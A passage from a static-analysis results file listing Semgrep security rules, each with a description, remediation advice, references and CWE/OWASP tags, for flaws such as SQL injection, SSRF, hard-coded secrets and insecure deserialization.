requirement."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none","id":"java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none","name":"java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items that leverage user authentication but allow the passcode fallback. Biometric modalities are considered more secure than 4 or 6 digit pincodes on iOS, and should be preferred over the passcode."},"help":{"markdown":"The application was observed to store keychain items that leverage user authentication but allow the passcode fallback. Biometric modalities are considered more secure than 4 or 6 digit pincodes on iOS, and should be preferred over the passcode.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n","text":"The application was observed to store keychain items that leverage user authentication but allow the passcode fallback. Biometric modalities are considered more secure than 4 or 6 digit pincodes on iOS, and should be preferred over the passcode."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback","id":"swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback","name":"swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password","id":"rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password","name":"rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet](https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.ssrf.reqwest-taint.reqwest-taint)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/rust.rocket.ssrf.reqwest-taint.reqwest-taint","id":"rust.rocket.ssrf.reqwest-taint.reqwest-taint","name":"rust.rocket.ssrf.reqwest-taint.reqwest-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.ssrf.reqwest-taint.reqwest-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl","id":"python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl","name":"python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS EBS is unencrypted. The AWS EBS encryption protects data in the EBS."},"help":{"markdown":"The AWS EBS is unencrypted. The AWS EBS encryption protects data in the EBS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS EBS is unencrypted. The AWS EBS encryption protects data in the EBS."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted","id":"terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted","name":"terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring","id":"java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring","name":"java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this."},"help":{"markdown":"Service '$SERVICE' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.no-new-privileges.no-new-privileges)\n - [https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"Service '$SERVICE' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.no-new-privileges.no-new-privileges","id":"yaml.docker-compose.security.no-new-privileges.no-new-privileges","name":"yaml.docker-compose.security.no-new-privileges.no-new-privileges","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.no-new-privileges.no-new-privileges"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter","id":"cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter","name":"cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure IAM policies don't allow resource exposure. These actions can expose AWS resources to the public. For example `ecr:SetRepositoryPolicy` could let an attacker retrieve container images. Instead, use another action that doesn't expose AWS resources."},"help":{"markdown":"Ensure IAM policies don't allow resource exposure. These actions can expose AWS resources to the public. For example `ecr:SetRepositoryPolicy` could let an attacker retrieve container images. Instead, use another action that doesn't expose AWS resources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/resource-exposure/](https://cloudsplaining.readthedocs.io/en/latest/glossary/resource-exposure/)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPermissionsManagement.py)\n","text":"Ensure IAM policies don't allow resource exposure. These actions can expose AWS resources to the public. For example `ecr:SetRepositoryPolicy` could let an attacker retrieve container images. Instead, use another action that doesn't expose AWS resources."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure","id":"terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure","name":"terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using a .NET remoting service can lead to RCE, even if you try to configure TypeFilterLevel. Recommended to switch from .NET Remoting to WCF https://docs.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf"},"help":{"markdown":"Using a .NET remoting service can lead to RCE, even if you try to configure TypeFilterLevel. Recommended to switch from .NET Remoting to WCF https://docs.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=net-6.0)\n - [https://www.synacktiv.com/en/publications/izi-izi-pwn2own-ics-miami.html](https://www.synacktiv.com/en/publications/izi-izi-pwn2own-ics-miami.html)\n","text":"Using a .NET remoting service can lead to RCE, even if you try to configure TypeFilterLevel. Recommended to switch from .NET Remoting to WCF https://docs.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full","id":"csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full","name":"csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection","id":"php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection","name":"php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Path traversal may allow malicious actors to access file content not intended to be exposed to them. For example a user may be able to access sensitive secrets stored within app files (e.g. UserDefaults/Plists/.etc.). Alternatively, users with access to a victim's phone may be able to obtain senstivie data persisted by the application."},"help":{"markdown":"Path traversal may allow malicious actors to access file content not intended to be exposed to them. For example a user may be able to access sensitive secrets stored within app files (e.g. UserDefaults/Plists/.etc.). Alternatively, users with access to a victim's phone may be able to obtain senstivie data persisted by the application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Path traversal may allow malicious actors to access file content not intended to be exposed to them. For example a user may be able to access sensitive secrets stored within app files (e.g. UserDefaults/Plists/.etc.). Alternatively, users with access to a victim's phone may be able to obtain senstivie data persisted by the application."},"helpUri":"https://semgrep.dev/r/swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal","id":"swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal","name":"swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal","properties":{"precision":"very-high","tags":["CWE-35: Path Traversal","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-url.pg-connection-url)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-url.pg-connection-url","id":"rust.secrets.sqlx.pg-connection-url.pg-connection-url","name":"rust.secrets.sqlx.pg-connection-url.pg-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.pg-connection-url.pg-connection-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EBS Volume is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EBS Volume is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EBS Volume is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk","id":"terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk","name":"terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Azure Storage currently supports three versions of the TLS protocol: 1.0, 1.1, and 1.2. Azure Storage uses TLS 1.2 on public HTTPS endpoints, but TLS 1.0 and TLS 1.1 are still supported for backward compatibility. This check will warn if the minimum TLS is not set to TLS1_2."},"help":{"markdown":"Azure Storage currently supports three versions of the TLS protocol: 1.0, 1.1, and 1.2. Azure Storage uses TLS 1.2 on public HTTPS endpoints, but TLS 1.0 and TLS 1.1 are still supported for backward compatibility. This check will warn if the minimum TLS is not set to TLS1_2.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#min_tls_version](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#min_tls_version)\n - [https://docs.microsoft.com/en-us/azure/storage/common/transport-layer-security-configure-minimum-version](https://docs.microsoft.com/en-us/azure/storage/common/transport-layer-security-configure-minimum-version)\n","text":"Azure Storage currently supports three versions of the TLS protocol: 1.0, 1.1, and 1.2. Azure Storage uses TLS 1.2 on public HTTPS endpoints, but TLS 1.0 and TLS 1.1 are still supported for backward compatibility. This check will warn if the minimum TLS is not set to TLS1_2."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy","id":"terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy","name":"terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PBKDF2 usage was identified with an 